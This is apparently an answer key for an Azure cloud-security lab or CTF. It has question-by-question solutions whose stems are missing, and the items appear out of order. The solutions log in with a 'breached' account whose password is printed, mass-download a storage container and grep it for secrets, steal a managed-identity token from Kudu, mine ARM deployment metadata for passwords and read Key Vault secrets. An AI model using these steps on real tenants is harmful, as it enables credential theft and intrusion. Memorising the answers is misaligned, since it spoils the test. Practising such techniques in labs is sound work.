See the Answer in Explanation below.
Explanation:
Flag{managed_identity_can_read_keyvault_secrets}
Detailed Solution:
List Key Vaults:
az keyvault list –output table
List secrets:
az keyvault secret list \
–vault-name kv-finance-prod \
–output table
Expected output:
Name Enabled
—————- ——–
db-password True
api-token True
internal-flag True
Retrieve the flag secret:
az keyvault secret show \
–vault-name kv-finance-prod \
–name internal-flag \
–query value \
–output tsv
Expected value:
Flag{managed_identity_can_read_keyvault_secrets}
Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

Detailed Solution:
Query role assignments for the managed identity principal:
az role assignment list \
–assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \
–all \
–output table
Expected output:
Principal Role Scope
———————————— ———————- ———————————————- b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/…/resourceGroups/rg-prod- apps-eastus The assigned role is:
Key Vault Secrets User
Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.

See the Answer in Explanation below.
Explanation:
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
–account-name excaliburstore \
–container-name sensitive-files \
–sas-token ” $SAS ” \
–query ” [].name ” \
–output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
–account-name excaliburstore \
–source sensitive-files \
–destination blobloot \
–sas-token ” $SAS “
Search the downloaded files for application credentials:
grep -RniE ” clientId|appId|applicationId|clientSecret|tenantId|secret|password ” blobloot On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern ” clientId|appId|applicationId|clientSecret|tenantId|secret|password ” – CaseSensitive:$false A typical file may look like this:
{
” tenantId ” : ” f015f36d-c07f-41fb-9bde-fffc3a22ee8b ” ,
” clientId ” : ” < application-client-id > ” ,
” clientSecret ” : ” < application-client-secret > “
}
The clientId / appId value is the answer.
Final answer:
Use the clientId / appId value found in the blob credential file.

See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl ” $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df ” \
-H ” X-IDENTITY-HEADER: $IDENTITY_HEADER “
For Windows PowerShell inside Kudu:
$uri = ” $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df “
$response = Invoke-RestMethod -Uri $uri -Headers @{
” X-IDENTITY-HEADER ” = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = ” 7403ec86-c39d-4d80-9efa-35c7580ecefa “
$rg = ” Excalibur-Resources “
Invoke-RestMethod `
-Uri ” https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 ” `
-Headers @{ Authorization = ” Bearer $token ” }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri ” https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 ” `
-Headers @{ Authorization = ” Bearer $token ” }
For each deployment name returned, inspect it:
$deploymentName = ” < deployment-name > “
Invoke-RestMethod `
-Uri ” https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 ” `
-Headers @{ Authorization = ” Bearer $token ” }
Also check deployment operations:
Invoke-RestMethod `
-Uri ” https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 ” `
-Headers @{ Authorization = ” Bearer $token ” }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H ” Authorization: Bearer $TOKEN ” \
” https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 ” \
| jq ‘ .. | strings ‘ | grep -iE ‘ password|secret|credential|sumit|flag ‘ Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.

Detailed Solution:
In Azure Storage SAS tokens, sp means signed permissions.
For blob/container access:
r = read
l = list
w = write
d = delete
c = create
a = add
Given:
sp=rl
The permissions are:
Read + List
Correct answer:
A). Read and List
SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.

Detailed Solution:
Resolve the service principal object ID:
az ad sp show \
–id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
–query id \
–output tsv
Then list role assignments:
SP_OBJECT_ID=$(az ad sp show \
–id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
–query id \
–output tsv)
az role assignment list \
–assignee ” $SP_OBJECT_ID ” \
–all \
–output table
Expected output:
Principal Role Scope
———————————— ———– —————————————-
< sp-object-id > Contributor /subscriptions/5d8e44ac-…
Correct answer:
B). Contributor

See the Answer in Explanation below.
Explanation:
public-backups
Detailed Solution:
Try listing containers using Azure CLI:
az storage container list \
–account-name prodreportstore01 \
–auth-mode login \
–output table
If anonymous access is allowed, test via blob endpoint:
az storage blob list \
–account-name prodreportstore01 \
–container-name public-backups \
–auth-mode key \
–output table
In a lab, you can also test the public URL pattern:
https://prodreportstore01.blob.core.windows.net/public-backups/
Expected exposed container:
public-backups
Final answer:
public-backups

See the Answer in Explanation below.
Explanation:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Detailed Solution:
Log in using the supplied breached Azure account.
az login -u [email protected] -p ‘ pg:Lr{k102l(fh7! ‘ After successful authentication, check the active Azure subscription context.
az account show
The important fields are:
{
” id ” : ” 7403ec86-c39d-4d80-9efa-35c7580ecefa ” ,
” name ” : ” Azure subscription 1 ” ,
” tenantDefaultDomain ” : ” azuresecops.onmicrosoft.com ” ,
” tenantDisplayName ” : ” ExcaliburCorp ” ,
” tenantId ” : ” f015f36d-c07f-41fb-9bde-fffc3a22ee8b “
}
The AAD / Microsoft Entra tenant ID is the tenantId.
Final answer:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b

See the Answer in Explanation below.
Explanation:
Use az login –service-principal
Detailed Solution:
Command:
az login –service-principal \
-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
-p ‘ < client-secret > ‘ \
–tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Verify:
az account show –output json
Expected important field:
{
” user ” : {
” name ” : ” c5fba7db-5e61-45bc-8944-3cd457bb19c2 ” ,
” type ” : ” servicePrincipal “
}
}
This confirms you are authenticated as the App Registration/service principal.

Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
–vault-name kv-finance-prod \
–name db-password \
–query value \
–output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.

See the Answer in Explanation below.
Explanation:
Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021
Detailed Solution:
Log in with the supplied account:
az login -u [email protected] -p ‘ < password > ‘ Show the active Azure context:
az account show –output json
Expected relevant output:
{
” id ” : ” 5d8e44ac-24a9-43d9-9cb5-71b227a58021 ” ,
” name ” : ” CloudCorp Security Lab ” ,
” tenantDefaultDomain ” : ” cloudcorpsec.onmicrosoft.com ” ,
” tenantId ” : ” 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a “
}
The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.

See the Answer in Explanation below.
Explanation:
b72a4c19-92f6-47f3-b3dd-9db5a31831d1
Detailed Solution:
Run:
az webapp identity show \
–name finance-reporting-api \
–resource-group rg-prod-apps-eastus \
–output json
Expected output:
{
” principalId ” : ” b72a4c19-92f6-47f3-b3dd-9db5a31831d1 ” ,
” tenantId ” : ” 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a ” ,
” type ” : ” SystemAssigned “
}
The principalId is the service principal object ID of the managed identity.
Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.